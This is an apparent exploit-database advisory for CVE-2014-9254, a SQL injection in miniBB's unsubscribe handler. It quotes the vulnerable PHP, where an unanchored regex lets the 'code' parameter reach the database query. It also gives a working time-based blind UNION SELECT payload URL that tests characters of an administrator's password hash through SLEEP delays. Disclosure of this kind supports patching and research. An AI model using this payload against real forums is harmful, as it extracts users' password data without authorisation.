# CVE: CVE-2014-9254
# Category: webapps
1. Description
preg_match() only check if $_GET['code'] contains at least one letter or digit (missing ^ and $ inside regexp).
File: bb_func_unsub.php
$usrid=(isset($_GET['usrid'])?$_GET['usrid']+0:0);
$allowUnsub=FALSE;
$chkCode=FALSE;
if(isset($_GET['code']) and preg_match("#[a-zA-Z0-9]+#", $_GET['code'])){
//trying to unsubscribe directly from email
$chkField='email_code';
$chkVal=$_GET['code'];
$userCondition=TRUE;
$chkCode=TRUE;
}
else{
//manual unsubsribe
$chkField='user_id';
$chkVal=$user_id;
$userCondition=($usrid==$user_id);
}
if ($topic!=0 and $usrid>0 and $userCondition and $ids=db_simpleSelect(0, $Ts, 'id, user_id', 'topic_id', '=', $topic, '', '', $chkField, '=', $chkVal))

2. Proof of Concept
http://minibb-url/index.php?action=unsubscribe&usrid=1&topic=1&code=test' UNION SELECT 1, IF(substr(user_password,1,1) = CHAR(99), SLEEP(5), 0) FROM minibbtable_users WHERE user_id = 1 AND username != '
This SQL will check if first password character user ID=1 is “c”.
If yes, it will sleep 5 seconds.
